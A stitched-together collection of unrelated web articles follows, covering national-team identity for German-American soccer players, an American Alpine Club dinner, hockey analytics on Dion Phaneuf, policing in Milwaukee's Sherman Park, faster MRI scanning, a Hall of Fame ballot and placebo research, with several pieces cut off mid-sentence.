“Right now our health declines after about seven decades. We are pretty much hoping to extend the productive plateau, where you’re not necessarily the world champion in swimming or running marathons, but you can continue for a few more decades without any critical illnesses.”Fans of the United States national team have a tradition of eager impatience upon the release of the roster for any game. When the squad was named before their game against Russia last month there was general surprise to see the re-inclusion of Nuremberg's Timmy Chandler, sparking the latest chapter in a raging debate about football and identity.
Before his appearance against Russia it had been almost a year since he last played for the Americans. Prior to this, Chandler had rejected a cap-tying invitation to the 2011 CONCACAF Gold Cup, citing a desire to continue to train with Nuremburg where he had recently cracked the first team. When Chandler declined the call up by Jurgen Klinsmann for the first set of World Cup Qualifiers this past summer, serious questions were raised on whether the right back would remain with the US national team or file a one-time switch to play for his native Germany.
At 22, Chandler was about to be cast by US fans into the same boat as Giuseppe Rossi and Neven Subotic as Americans who went on to play for other countries. Some were ready to condemn Chandler to his own level of American soccer hell for actually playing senior games with the Stars and Stripes before switching to Die Mannschaft.
Chandler, as well as Jermaine Jones, Fabian Johnson and several other German-American players all have American fathers who were stationed in Germany during the Cold War. This makes each and every one of them a US citizen upon birth, making their decision to play for the US much easier. While legally American, Chandler spent most of his time in Germany with his mother, and is just as eligible to play for Germany as he is for the US.
This made the legality of deciding which national team to play for a non-factor; the main influence in the decision is identity.
During a five-game summer camp this past year, CNN sent a reporter to conduct interviews with Jones and Danny Williams. Williams said he was the subject of racial abuse while growing up in Germany due to his mixed heritage. He told the reporter that the difference between being in Germany and being in the United States is that having a mixed background is frowned upon in Germany while generally accepted in the States.
"When people look at me in Germany, they know I'm not one hundred percent German," Williams said. "I told my parents I feel more American than German."
Thomas Rongen, the former USA Under-20 coach, is the man who can be credited with the growth of foreign players in the US senior team because of his work in creating a database of all potentially eligible players across the world, including every foreign player, during the Klinsmann era. In an interview with the New York Times, Rongen said America's melting pot ideals play a huge role in convincing foreigners to play for the US.
"I look them in the eyes and I talk about values," Rongen said. "I talk about being proud of representing this country. It's what America is all about."
While America's values serve as the pull factor in bringing German-Americans to US, there is a push factor as well. Noah Sow, a black German radio personality, summed up the feelings toward black people in Germany at the Black German Cultural Society NJ Convention in 2011.
"Unfortunately...the majority likes to think even today that Germany and the Germans are something homogeneous. Incidentally, white. Germany likes to imagine itself as white. The fantasy overrules logic, law, history, and reality to this day."
A common feeling among Germans is: 'I don't know who we Germans are! But certainly not Black!' And in perpetuating this fantasy, this image, Germany is very successful.
Modern Germany not always appealing to black players, especially those with mixed heritage. Jerome Boateng is the exception. He, like his brother Kevin-Prince, both had the opportunity to play for Ghana. Jerome never identified with Ghana, though, and opted to play for Germany instead. What makes the Boatengs different to Chandler is that both played for Germany at the youth level. They were very much German in their upbringing, and both made appearances in the German youth national teams. Chandler never made it into a German youth national team.
It is also important to note that the only reason Kevin-Prince played for Ghana was because of his falling out with the German FA in 2009. The Ghanaians were more than happy to bring him into the fold in time for South Africa the following year. That sentiment has dramatically reversed with Kevin-Prince’s retirement from international football. While he said he could not keep up with the constant travel, something Chandler cited as a problem with playing for the US, most Ghanaians saw through his explanation believing he just used the team as a way to play in the World Cup and earn a move from Portsmouth to |
cuts in emissions.”
The Coalition isn’t intending to answer any of these questions until after the election. Then – after leaving the policy unchanged and unexplained for over three years – it intends to answer them in a rush, calling for submissions on a white paper within 30 days of election, for legislation to be released within 100 days and passed within 150.Posted on: December 12, 2016
Registration is now open for the American Alpine Club's Annual Benefit Dinner on February 25, 2017, in Seattle, Washington. Conrad Anker will be the keynote speaker. An AAC press release described Anker as a "man who embodies the new age of super technical explorers."
Conrad Anker is the keynote speaker for the 2017 American Alpine Club Annual Benefit Dinner on February 25 in Seattle, Washington. [Photo] Jimmy Chin
The dinner will be at the Seattle Marriott Waterfront, located at 2100 Alaskan Way. According to the AAC: "The evening will feature Conrad Anker's reflections on his personal history, climbing and the Himalaya. With 30 years of adventure under his belt, Anker's love for climbing has taken him all over the world: from Alaska to Antarctica, Pakistan to Patagonia, from his home near Hyalite Canyon to the top of Everest. Nepal is an area especially dear to [him].... There he found George Mallory's body...founded a nonprofit, and has climbed many of the most technical peaks in the region."
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Anker recently had to be evacuated from a climb on 6907-meter Lunag-Ri in Nepal after he had a heart attack while attempting a new route with the 26-year-old Austrian climber David Lama Nov. 16. Anker is currently recovering at home.
Along with the keynote address, the yearly AAC event celebrates "outstanding achievements in conservation, climbing, and service to the climbing community." During the 2017 Annual Benefit Dinner weekend, the AAC will honor five people for "displaying monumental drive, courage and commitment in the mountains and in their lives": Kris McDivitt Tompkins, Dave Riggs, Mark Twight, Mason Earle and David Stevenson.
"Every year our Annual Dinner celebrates important climbing achievements and brings together generations of climbers for an evening like no other," said AAC CEO Phil Powers. "This year is extra special because of the range of talent in the room. Conrad Anker will be headlining the event, and we'll be honoring alpine legend Mark Twight alongside young talent such as Mason Earle, who is pushing the envelope of our craft today."
Below are the Award announcements and ticket information as presented in the AAC press release:
The Angelo Heilprin Citation is awarded annually to that person who has, in the opinion of the citation committee, shown exemplary service to the Club. The purpose of this citation is to recognize those who have worked to maintain and strengthen the organization and thus further its ability to serve its fundamental purposes. Dave Riggs is being recognized for his time as the board chair of the AAC's Community Committee for the AAC and volunteer chair of the Sierra Nevada Section.
The Robert and Miriam Underhill Award is given annually to that person who, in the opinion of the selection committee, has demonstrated the highest level of skill in the mountaineering arts and who, through the application of this skill, courage, and perseverance, has achieved outstanding success in various fields of mountaineering. This year's winner, Mark Twight, has first ascents and notable climbs all over the world and has written several award-winning books [including Kiss or Kill and Extreme Alpinism: Climbing Light, Fast and High—Ed.].
Mark Twight, pictured here on Denali (20,310') in 2009, is receiving the Robert and Miriam Underhill Award. [Photo] Courtesy of the American Alpine Club
The David R. Brower Award, created in 1991, is an annual award recognizing leadership and commitment to preserving mountain regions worldwide. Kris Tompkins, former CEO of Patagonia, is an accomplished conservationist who has created large wilderness conservation areas in Chile and Argentina.
The Robert Hicks Bates Award's purpose is to recognize a young climber who—in the judgment of the selection committee—has demonstrated exceptional skill and character in the climbing or mountaineering arts and has outstanding promise for future accomplishment. Mason Earle is being recognized for his many ascents of difficult, technical crack climbs, notably a sustained 5.14- in Moab [The Bartlett Wash Project].
Mason Earle, pictured here climbing The Bartlett Wash Project (5.14-, 115'), which he completed in 2015, is receiving the Robert Hicks Bates Award. [Photo] Courtesy of the American Alpine Club
The H. Adams Carter Literary Award was established to recognize excellence in alpine literature. David Stevenson is the director of the Creative Writing and Literary Arts Department at the University of Alaska Anchorage. He is the author of the short fiction collection Letters from Chamonix, winner of the Banff Mountain Festival Fiction Prize.
David Stevenson is receiving the H. Adams Carter Literary Award. [Photo] Courtesy of the American Alpine Club
Weekend festivities are open to the public and kick off on February 23 with a Memorial to Nick Clinch, and February 24 with an Annual Membership Meeting and Climbers' Gathering at Vertical World.
Dinner attendees will have access to special panel discussions during the day on Saturday. Ticket sales to benefit AAC programs. For more information and to reserve your spot, visit americanalpineclub.org/annual-benefit-dinner/. Registration closes at midnight on February 19, or when sold out.
About The American Alpine Club
The American Alpine Club is a 501(c)(3) charitable organization whose vision is a united community of competent climbers and healthy climbing landscapes. Together with our members, the AAC advocates for American climbers domestically and around the world; provides grants and volunteer opportunities to protect and conserve the places we climb; hosts local and national climbing festivals and events; publishes two of the world's most sought-after climbing annuals, The American Alpine Journal and Accidents in North American Mountaineering; cares for the world's leading climbing library and country's leading mountaineering museum; manages the Hueco Rock Ranch, New River Gorge Campground, and Grand Teton Climbers' Ranch as part of a larger lodging network for climbers; and annually gives more than $80,000 toward climbing, conservation, and research grants that fund adventurers who travel the world. Learn about additional programs and become a member at americanalpineclub.org.
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advertisementDion Phaneuf’s effectiveness always seems to be a popular matter of debate in the world of hockey.
This shouldn’t surprise anyone when citing a player who captains an NHL team in a hockey-crazed market like Toronto while carrying a beefy cap hit of $7,000,000 per annum. Last season, Dion was subject to incredibly difficult usage at the hands of head coach Randy Carlyle. His teammate Corsi For percentage of 43.4% was the 16th lowest among all defensemen since 2007-08, while his offensive zone start percentage of 37.7% ranks lower than all but 23 blueliners in the Behind the Net era. As you can imagine, his observable possession rates weren’t pretty. Number 3 in blue and white sported a career-worst CF% of 40.8% (0.3% worse than the infamous Douglas Murray the same year).
The issue is that it’s very difficult, if not impossible, to assess Phaneuf’s 2013-14 performance within the context of his deployment. There simply isn’t a sufficient sample of defensemen who have faced comparably laborious ice time. Another possible factor is coaching. Randy Carlyle has a well-documented track record of dragging down a team’s possession numbers. These two factors intertwined serve as the source of controversy, actively inspiring an array of varying opinions regarding Phaneuf’s value.
The solution to the evident lack of basis for evaluation is grouping Phaneuf’s single season data into two separate three season sets: pre-Carlyle era (2009-2011) and Carlyle era (2012-14). This method normalizes Dion’s usage to an extent due to a larger sample size. It is then possible to analyze Phaneuf’s adeptness given the strain of his minutes and measure the way his observable results have responded to tougher minutes under the tenet of Randy Carlyle.
Pre-Carlyle Era (2008-09 to 2010-11)
It is well documented that Phaneuf’s observable possession rates were much better before Randy took authority behind the pine. His CF% of 51.5% from 2009 to 2011 was good enough for 85th among 316 defensemen who played within the same time frame. On the flip side, his usage was relatively easy in terms of the strength of his linemates, opposition and high offensive zone start percentages. It is crucial that these factors are accounted for before we jump to any conclusions.
A preferable way of doing so involves comparing Dion’s offensive output, specifically Points/60 and Corsi For per 20 (CF20) to twenty defensemen who have been deployed comparably in the past. Comparable players are selected by averaging the number of standard deviations each of their usage variables (QoT, QoC, Zone Starts) deviates away from the usage variables of the player of interest (Dion Phaneuf in this case). It is important to note that the standard deviation of QoT metrics are also applied to QoC metrics in order to avoid overstating the significance of quality of competition which suffers from a serious lack of spread.
Here are Dion’s 2009-2011 production and possession rates matched up against twenty other defensemen who have faced similar deployment within an analogous time period…
As you can probably tell from the visual, Phaneuf was a key contributor offensively considering the type of minutes he played. His CF20 of 20.243 is only bested by Mike Green’s rate from 2010 to 2012, which was essentially the pinnacle of Green’s career. This means that Dion outperformed the likes of Brent Seabrook, Mark Giordano, Drew Doughty and Kimmo Timonen while playing similarly difficult minutes over a comparable period of time. Production-wise, his numbers weren’t as sexy. Phaneuf’s 0.73 points per hour places better than only nine of twenty blueliners used comparably. That rate stands to be 0.02 points per 60 minutes below the chart median. Overall, we can conclude that Dion Phaneuf outperformed expectations offensively, pre-Carlyle, as his possession rates were excellent and his production was typical given the difficulty of his usage.
Measuring Corsi Against per 20 (CA20) will be our basis for evaluation on the opposite side of the puck. Twenty comparably used defenders (within a 3-Year span) will serve as our measuring stick yet again.
The results are visibly concerning. Dion Phaneuf is vastly outperformed by his twenty closest comparably used defenders. To the extent that Dion’s CA20 sits 1.276 shot-attempts above the chart’s median rate of 17.757. Limited time on the penalty kill and somewhat cushy usage at even strength indicates that Phaneuf’s coaches (Keenan/Sutter/Wilson) were well aware of his defensive inefficiencies. Syndicate his poor observable shot suppression results with his amply impressive shot generation numbers and it becomes clear that Phaneuf was a high event offensive weapon with some serious issues in his own zone in the three consecutive seasons preceding the arrival of Coach Randy Carlyle.
Carlyle Era (2011-12 to 2013-14)
No one saw a more drastic change with respect to the way they were played than Dion Phaneuf following the hiring of Head Coach Randy Carlyle. It seems as though Randy quickly neglected the messages that Dion’s past analytics conveyed. No longer was Phaneuf seen as an offensive player with defensive short-comings but instead a hulking two-way blueliner who played with a mean streak that screamed compete level. Carlyle quickly decided that Phaneuf was going to be Toronto’s source of stability from the backend. In the coming years, Dion would be exposed to top opposition night in and night out. Defensive zone starts radically increased in frequency. He was also given an array of sub-par d-partners that ranged from inexperienced defensemen like Korbinian Holzer and Mike Kostka to a battered Carl Gunnarsson with nagging hip issues.
As expected, Phaneuf’s observable numbers took a major hit. His CF20 plummeted while his CA20 sky rocketed. The goal is to re-access these results by once again comparing them to other defensemen who have faced similar deployment. Once more we will compare Phaneuf’s 2012-2014 production and possession rates to twenty defenders who have faced equivalent deployment within a similar period of time.
Interestingly, Phaneuf’s CF20 still ranks better than the majority of other defensemen who fit the same usage specifications. While his shot generation results aren’t as striking as they were pre-Carlyle, they are still above expected. His production has also slightly decreased since Randy’s arrival, but it has actually improved relative to those who have historically been used in a similar fashion. The takeaway here is that Phaneuf is likely still an adequate offensive option. The drop in his raw shot generation results are virtually proportional to the increase in the difficulty of his minutes.
Comparing Dion’s Corsi Against per 20 minutes to comparably used defensemen suggests that he hasn’t changed much defensively either.
Dion surprisingly places marginally better defensively this time around. Conversely, he happens to be 1.693 CA20 above the chart median of 19.819 which is actually a worse deficit than he managed pre-Carlyle. It doesn’t seem fair to say that Phaneuf has suddenly become a train wreck defensively. Defense has always been an area of concern (Random note: T.J. Brodie is a beast).
Conclusion
A closer look at Dion’s underlying numbers, within two very different chapters of his career, lead us to the same conclusion: Phaneuf is above-average offensively and abysmal defensively. A victim of miscalculation. One now being used in a way that would ironically flatter a defensemen with a polarizing skillset. The perfect example of hockey minds falsely assuming that physicality equates to defensive efficacy.
There is no denying that Carlyle’s reliance on Phaneuf was one of the main reasons why Toronto surrendered 34.9 shots against per 60 minutes at even strength last season. Randy has hinted at lightening Dion’s workload heading into the 2014-15 regular season. We will see if Carlyle can avoid temptation and remain true to his word. Phaneuf has also been moved to the left side in an attempt to keep him off of his backhand and ultimately make breaking out of the defensive zone an easier task. A somewhat counter-productive move considering the fact that Dion has historically been more productive on his off-side. An offensive defenseman like him needs to be placed in a position that maximizes offensive output and hopefully the Leafs’ recent adoption of analytics can inspire a decision to do exactly that.Heal Triggers are exciting, right?
Winter 2017 in Shibuya Marui
Standing Acrylic Key Holder: 1500 Yen
Capsule Volume 2: 300 Yen per Tin Badge
Blanket: 3500 Yen
Polyster, 900mm by 650 mm
Other
Happy Birthday Kazuma
Bushiroad Shop Fights for December 2017
Participants get Vanguard G Z Pack Volume 1
Winners (and 2 Random Players) get a Special Foiled Version of Pure Maiden, Katrina
Anime
Gastille explains Darkface created the new lair by using Wakamizu’s science.
Gastille explaining the more specific details of Diffriding and Knowledge.
Something about the “Strongest Zeroth Dragon” created by Master Gyze.
Turn 6 Screen Caps
Decks
Rin styled G-BT13 Deck
Saori styled G-BT13 Deck
New Cards
Ultimate Stride comes with new Heal Triggers for:
Angel Feather
Gold Paladin
Kagero
Tachikaze
Murakumo
Spike Brothers
Aqua Force
That when discarded from the hand to Summon a G Guardian, lets you Bind them and another Heal Trigger in the Drop Zone to Counter Charge or Soul Charge 1 Card.When I was a kid living in the Milwaukee neighborhood of Sherman Park in the early 90s, things were different.
The neighborhood was one of the most perse places in the city. My brother and I played with the lawyer’s kids across the street, and we swung on the swing of the photographer next door while he cleaned his classic Excalibur. The East Indian kids living opposite us were some of my best friends growing up. Their dad was a bank examiner and their mother was my brother’s English teacher. We hung out with the Latino family two doors down after their daughter Elizabeth’s Quinceanera. There were a few police officers’ families per block in the old neighborhood and a few judges and an alderman too. Most of them were Black.
I have good memories of the people and that street. The community was perse and connected. But you could see it coming.
Even when things seemed good, there were problems with the police. I distinctly remember my brother telling my mother and me about his friend who had gotten picked up and beaten by the cops. I asked him, “What did he do?” My brother simply said in his matter of fact way: “Nothing.” As a kid I wasn’t really aware of such things. Looking back, it’s all too clear.
Milwaukee has always been block to block, Grant and Sherman being relatively stable and the surrounding streets a little less so and so on. Now when I drive through the neighborhood, that stability is there on one street and completely gone on another. Many big, formerly beautiful homes sit empty and foreclosed; the businesses up and down the major streets sit even emptier. Most of those police officers, lawyers, and alderman don’t live in Sherman Park anymore, and the industrial largess that sustained so many in the city’s manufacturing heyday is long gone.
“Wouldn’t you stop a Black guy standing at a bus stop at six in the morning?” the officer said. I hung up in disgust.
Sherman Park was the epitome of a stable, largely Black neighborhood. Now it has been turned into something resembling a police state. The neighborhood is pided between the 3rd and 7th Police Districts, which according to their own reports make the most stops and use the most force of any district in the city. As one local internal affairs officer told me over the phone a few years back when I complained about being profiled, “Wouldn’t you stop a Black guy standing at a bus stop at six in the morning?” I hung up in disgust.
The sight of families going on walks together in the summer has been replaced by multiple cop squads stopping grandmothers driving beat up minivans and teenagers getting their first cars torn apart and searched by police. The bowling alleys are gone. The Boys and Girls Club in Sherman Park now closes at 5pm — before most kids can get there. The ice cream trucks have been replaced by police in unmarked squad cars who the community calls “the jump out boys.” They rough up random kids, search them (often without permission), and jump back in and drive away as if nothing happened. I met a kid who gets stopped by the police multiple times every single week. He’s not an exception. Police harassment of young Black men in Milwaukee is the rule.
Sylville Smith’s shooting death by police in Sherman Park has revealed to the world a larger crisis that has been growing in Milwaukee for the past 20 years. An out-of-control train about to hit the end of the line.
For the people who live in Sherman Park, it was always there. They’re livid that there seems to be no police accountability when Black men are shot down in the street under suspicious circumstances. They’re right to be angry, and they’re right to focus on and demand immediate transparency as well as accountability after due process has been satisfied.
He’s not an exception. Police harassment of young Black men in Milwaukee is the rule.
The specifics of Mr. Smith’s innocence or guilt aren’t the issue for this unfairly burdened community. They’ve been alienated and abused for years by the police who were supposed to be there to protect them. Mr. Smith’s shooting death shines a light on the broken trust between the police and the community, a trust that was broken by police over time with disregard, disrespect, and use of excessive force.
What’s happening in Milwaukee today is what happens when civil liberties are slowly choked to death in full view of state and local governments that have rejected transparency and public oversight. The only wonder is that it didn’t happen sooner. Now that it’s come to a head, we must demand the changes in policing that will rebuild some semblance of the public trust and protect the people of city.
The park I grew up having barbecues and playing baseball games in is at this very moment surrounded by barricades and armored vehicles. The children who live in Sherman Park today deserve a childhood free from police harassment and excessive force. When they become adults and elders they deserve the same freedom. To give them that, to give the whole community that, we need to demand an end to racially biased, unjust, and unaccountable policing in our city. We saw it coming. Once it came, it never left.
The motto of Milwaukee Police is “Be a force.” The question is, “For what?” Let’s put a stop to police harassment and brutality once and for all.So few Americans cast ballots that a new president was elected by barely a quarter of Americans eligible to vote. Some of those who did vote waited in line for hours. Others were told they needed an ID to vote under a law the courts had nullified months ago — and sometimes, under laws that never existed to begin with.
Amid the ruins of the ugliest presidential campaign in modern history, Democrats are bemoaning an election apparatus so balky and politically malleable that throngs of would-be voters either gave up trying to cast ballots or cast ones that were never counted.
This was the first presidential election in a half century that was held without the full protection of the Voting Rights Act of 1965. Voting rights advocates spent the year in court battling, with incomplete success, to roll back restrictions on the franchise enacted by Republican legislatures in state after state.
Some scholars and election analysts questioned this week whether a better run and less politically influenced voting process might have changed the outcome in some close races and made the presidential contest even closer.As she stood before a group of area newspaper publishers last Friday, Attorney General Maura Healey said: “Government accountability and transparency are as important as they’ve ever been. We need a public that understands and believes in and trusts government.... [It] seems to me that one of the ways you get there is by making sure there is accountability and integrity.”
Yet, on that same day, Healey’s office — charged with enforcing the public records law — denied a Boston Herald request to obtain an MBTA report produced by outside counsel, ruling the agency can continue to keep the document secret under common law attorney-client privilege. In doing so, Healey’s division of open government overruled the state supervisor of records in Secretary of State William Galvin’s office, who had cleared the release of the report that explored issues related to the MBTA’s policies on family leave and absenteeism.
Mismanagement at the T has come at considerable taxpayer expense, and any report paid for by the state that helps explain the T’s policies should be available to the public. In invoking attorney-client privilege, an arguable claim, Healey isn’t following the spirit of the public records law, or living up to the lofty ideals she expressed on the very same day. In this case, the client, the Commonwealth’s largest public transportation authority, should be compelled to waive its rights in the public interest.
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The MBTA did release the recommendations that stemmed from the report, but as Herald reporter Matt Stout relates, the report creating the basis for those recommendations has been denied to the public. “You can tell me solutions, but you’re not saying what the problems are?” Stout says. Taxpayers deserve to know the full scope of just how badly the MBTA’s policies on family leave and absenteeism were, to ensure that whatever changes are being implemented go far enough to correct mismanagement.
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The supervisor of records, Shawn Williams, was skeptical of the T’s attorney-client privilege claim, indicating that the agency had not “adequately explained how, in light of the presumption that government records are public records, the attorney-client privilege applies,” under the current law, to shield the entire document. Williams asked Healey’s office to review the matter but, unlike the supervisor of records, the attorney general’s division of open government is not even allowed by law to waive attorney-client privilege in order to view the full document in order to make an informed determination. Instead, it relied on affidavits provided by the attorneys, as well as phone interviews with MBTA officials. Translation: The public release was backed by the only official who had actually read the report, and then blocked by one who hadn’t.
To be fair, Healey has won plaudits recently for her decision to sue a group of district attorneys for their refusal to release a list of cases they’ve prosecuted, and there is no doubt her commitment to a more open government is real. But media outlets and regular citizens alike continue to face an uphill struggle in accessing public records that, for whatever reason, government officials would not like them to see. The Herald’s pursuit of the MBTA’s report is emblematic of the frustrating path in accessing government records that belong in the public realm.Magnetic resonance imaging (MRI) devices can scan the inside of the body in intricate detail, allowing clinicians to spot even the earliest signs of cancer or other abnormalities. But they can be a long and uncomfortable experience for patients, requiring them to lie still in the machine for up to 45 minutes.
Now this scan time could be cut to just 15 minutes, thanks to an algorithm developed at MIT’s Research Laboratory of Electronics.
MRI scanners use strong magnetic fields and radio waves to produce images of the body. Rather than taking just one scan of a patient, the machines typically acquire a variety of images of the same body part, each designed to create a contrast between different types of tissue. By comparing multiple images of the same region, and studying how the contrasts vary across the different tissue types, radiologists can detect subtle abnormalities such as a developing tumor. But taking multiple scans of the same region in this way is time-consuming, meaning patients must spend long periods inside the machine.
In a paper to be published in the journal Magnetic Resonance in Medicine, researchers led by Elfar Adalsteinsson, an associate professor of electrical engineering and computer science and health sciences and technology, and Vivek Goyal, the Esther and Harold E. Edgerton Career Development Associate Professor of Electrical Engineering and Computer Science, detail an algorithm they have developed to dramatically speed up this process. The algorithm uses information gained from the first contrast scan to help it produce the subsequent images. In this way, the scanner does not have to start from scratch each time it produces a different image from the raw data, but already has a basic outline to work from, considerably shortening the time it takes to acquire each later scan.
To create this outline, the software looks for features that are common to all the different scans, such as the basic anatomical structure, Adalsteinsson says. “If the machine is taking a scan of your brain, your head won’t move from one image to the next,” he says. “So if scan number two already knows where your head is, then it won’t take as long to produce the image as when the data had to be acquired from scratch for the first scan.”
In particular, the algorithm uses the first scan to predict the likely position of the boundaries between different types of tissue in the subsequent contrast scans. “Given the data from one contrast, it gives you a certain likelihood that a particular edge, say the periphery of the brain or the edges that confine different compartments inside the brain, will be in the same place,” Adalsteinsson says.
However, the algorithm cannot impose too much information from the first scan onto the subsequent ones, Goyal says, as this would risk losing the unique tissue features revealed by the different contrasts. “You don’t want to presuppose too much,” he says. “So you don’t assume, for example, that the bright-and-dark pattern from one image will be replicated in the next image, because in fact those kinds of dark and light patterns are often reversed, and can reveal completely different tissue properties.”
So for each pixel, the algorithm calculates what new information it needs to construct the image, and what information — such as the edges of different types of tissue — it can take from the previous scans, says graduate student and first author Berkin Bilgic.
The result is an MRI scan that is three times quicker to complete, cutting the time patients spend in the machine from 45 to 15 minutes. This faster scan time does have a slight impact on image quality, Bilgic admits, but it is much better than competing algorithms.
The team is now working to further improve the algorithm by speeding up the time it takes to process the raw image data into a final scan that can be analyzed by clinicians, once the patient has stepped out of the MRI machine. Using standard computer processors, this final step currently takes considerably longer than with conventional MRI scans.
But the researchers believe they can reduce this calculation time down to the same as that of conventional MRI scans using recent advances in computing hardware from the gaming industry. “Graphics processing units, or GPUs, are orders of magnitude faster at certain computational tasks than general processors, like the particular computational task that we need for this algorithm,” Adalsteinsson says.
A student at the laboratory is now working to implement the algorithm on a dedicated GPU, he says.
Dwight Nishimura, the director of the Magnetic Resonance Systems Research Laboratory at Stanford University, says Adalsteinsson's group has done some very interesting algorithmic work. “This work is potentially of high significance because it applies to routine clinical MRI, among other applications,” he says. “Ultimately, their approach might enable a substantial reduction in examination time.”Last year, FanGraphs was accepted into the BBWAA as an approved organization, and at present, we have four writers on staff who are members of the organization: David Laurila, Eno Sarris, Carson Cistulli and me. Once we’ve each been in the organization for 10 years, we will receive the right to vote for the Hall of Fame. So, in nine years, I might be publishing a Hall of Fame ballot. But, for now, I’ll run down who I’d vote for if I had a ballot.
We’ll do it in descending order of confidence in the pick, ranging from the easiest calls down to the toughest.
1. Jeff Bagwell, 1B, +84 WAR
Bagwell’s a top 10 first baseman, and regardless of what kind of suspicions you might have about his physique, there’s no evidence that Bagwell used PEDs, and keeping one of the great players in the history of the sport out of Cooperstown because he was too muscular is the height of silliness. Even if we’re not bound to “innocent until proven guilty”, we should at least put the burden of proof on the person making the assertion. Presuming that Bagwell used PEDs because he played in the 1990s and had big biceps simply shouldn’t be good enough for anyone. It’s a stain on the entire process that Bagwell has not yet been elected, and the Hall of Fame loses credibility every year that goes by without him as a member.
2. Mike Piazza, C, +67 WAR
Ditto everything I just said. I don’t know if Piazza used PEDs or not. Maybe he did, maybe he didn’t. There’s no evidence that he did, and we shouldn’t be keeping clear Hall-of-Famers out of Cooprstown because of the possibility that they used steroids. Even if you believe that guys who used steroids don’t belong in Cooperstown — I don’t, but for sake of argument, go with me here — you have to weigh the benefits of preserving that kind of standard against the cost of keeping a deserving player out because of a false accusation. I’d rather induct both an unknown PED user and a guy who never touched steroids than keep both out, assuming they’re both deserving from an on-field perspective. To me, rejecting a worthy player because we falsely believe they did something they did not do is worse than accepting a guy who used steroids into the Hall of Fame. I’m not advocating for Piazza and Bagwell because I’m naive enough to think that there’s no chance either had chemical assistance — I’m advocating for them because I don’t believe in assailing someone’s reputation without proof.
3. Curt Schilling, SP, +86 WAR
I hear Schilling talked about as a borderline player from a performance standpoint, but if you actually look at his career numbers, that’s an impossible case to make. 3,200 innings, prevented runs at a rate of 20 percent better than league average for his career, had an incredible peak from 1997 to 2004, and is one of the best postseason pitchers of all time. There are only 22 pitchers in the history of the game who have thrown 3,000 or more innings and posted an ERA- of 80 or below. He’s one of the very best pitchers of his era, and he’s better than most pitchers already enshrined in the Hall of Fame.
4. Craig Biggio, 2B, +71 WAR
Craig Biggio is Roberto Alomar without the abrupt collapse at the end. Here, look.
Source: FanGraphs — Craig Biggio, Roberto Alomar
A HOF with one and without the other doesn’t make any sense. The voters got it right with Alomar. Now it’s time to get it right with Biggio.
5. Tim Raines, OF, +71 WAR
No player exemplifies the problems with evaluating careers based on the triple crown statistics more than Raines. The traditional focus on BA, HR, and RBI ignores the contributions of players who draw walks, hit a lot doubles and triples, and steal a ton of bases at a high rate of success. Raines, of course, was excellent at all three, and any kind of objective look at his overall numbers should result in a yes vote. If you haven’t seen it before, check out the excellent Raines30.com and learn about how great of a player Raines was. They’ll explain it better than I can.
6. Larry Walker, OF, +73 WAR
There are essentially two knocks against Walker; he got hurt a lot and he played a lot of his games in pre-humidor Colorado. Both of these things are true, but neither are compelling enough reasons to ignore the entirety of his performance. With only 8,000 career plate appearances, Walker falls short on longevity, but so does Sandy Koufax, Kirby Puckett, and a host of others who were easily accepted into Cooperstown. You can offset a short career by being truly great when you played. And Walker was great enough when he was on the field to justify recognition. His 141 wRC+ — which is park adjusted and accounts for the altitude effects — puts him in the top 50 of all hitters with at least 5,000 plate appearances, tying him with Chipper Jones. He was also an excellent defender and an underrated baserunner, and his combination of elite hitting and quality secondary skills made him one of the game’s best players during his career. The injuries and park factors make him imperfect, not unworthy.
7. Edgar Martinez, DH, +70 WAR
Like Raines, Martinez is being punished for drawing walks and hitting doubles instead of making outs and hitting home runs. Like Walker, Martinez’s shorter career length is being held against him. Unlike the others, he also doesn’t have much defensive value to lean on, so his case really comes down to believing that he was one of the best hitters to ever live. Thankfully for Martinez, that’s the truth. His career wRC+ of 148 ranks ahead of a few other sluggers you may have heard of; Willie McCovey, Willie Stargell, and Harmon Killebrew, to name three. Or, to put it in a modern perspective, he has the same career wRC+ as Miguel Cabrera. He only was great at one thing, but he was exceptionally great at that one thing, and the Hall of Fame should have room for one of the best right-handed hitters of all time.
8. Barry Bonds, OF, +168 WAR
I don’t think PED use should be an automatic disqualifier from Hall of Fame consideration. The sport’s history is filled with terrible people who did a lot of lousy (and illegal) things, and if we threw out every player who used drugs or abused their bodies, we’d have a Hall of Fame that could fit inside a pick-up truck. I also don’t think that PED use should just be glossed over or ignored, and when we have evidence that a player used steroids, it should factor into our decision over whether or not he belongs in the Hall of Fame. I’m sympathetic to the idea that we don’t want to reward cheating. This isn’t such a cut-and-dried issue for me as it seems to be for others, on both sides. But, at the end of the day, Bonds had one of the five best careers of all time. No matter how much of a penalty you want to apply for the character clause, it doesn’t overcome what he did on the field. He’s an integral part of the game’s history, and he belongs in its most famous museum.
9. Roger Clemens, SP, +146 WAR
The Barry Bonds of pitching. Everything I said about Bonds applies here too. He was simply too great of a pitcher to keep out of the Hall of Fame.
10. Alan Trammell, SS, +70 WAR
A year ago, I wrote up my case for Alan Trammell as a Hall of Famer. I value a player’s peak productivity more than his career length, and Tr |
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There is a big difference between pain and suffering. A woman’s labor pains hurt, but with a joyful end in sight she may not suffer as much as a man who has milder pain sensations but is worried that his injured leg may need to be amputated. Some people say that morphine doesn’t relieve pain so much as make you not care about it. The experience of pain and the meaning of pain for the patient matter as much as the strength of the pain stimulus. If the placebo effect can do anything to divert the patient’s attention or help him reframe the meaning of his pain, his altered perception can reduce his experience of suffering.
Beecher Says Placebos Are Powerful
In 1955, Dr. Henry Beecher published a seminal paper entitled “The Powerful Placebo” in the Journal of the American Medical Association.2 He reviewed studies that compared an active treatment to a placebo, and found that on average 35% of patients improved with the placebo. So any study that doesn’t have a placebo group for comparison is likely to give a false positive result. The placebo-controlled trial is now one of the cornerstones of medical science. It’s not enough to show that Miracle-mycin works; we have to show that it works better than a dummy pill that looks like Miracle-mycin but only contains sugar.
Beecher’s paper has been widely cited as evidence that 35% of patients respond to placebos, but that’s not really what it showed. He wasn’t measuring the placebo effect in isolation — he was actually measuring a combination of the placebo effect, the natural course of disease, and other factors. The patients who apparently responded to placebo included patients who showed improvement for other reasons. Reasons like spontaneous improvement, fluctuation of symptoms, regression to the mean, answers of politeness, experimental subordination, conditioned answers, misjudgment, etc.
Hrobjartsson Says Placebos Are Powerless
To tease out how much of that 35% should be attributable to placebo, we need to know how many patients might have reported improvement without any treatment. In 2001 two Danish researchers, Asbjorn Hrobjartsson and Peter Gotzsche, published a paper entitled “Is the Placebo Powerless?” in the New England Journal of Medicine.3 They reviewed studies that included a no-treatment group, and they compared the improvement with placebos to the improvement with no treatment. They “found little evidence in general that placebos had powerful clinical effects.”
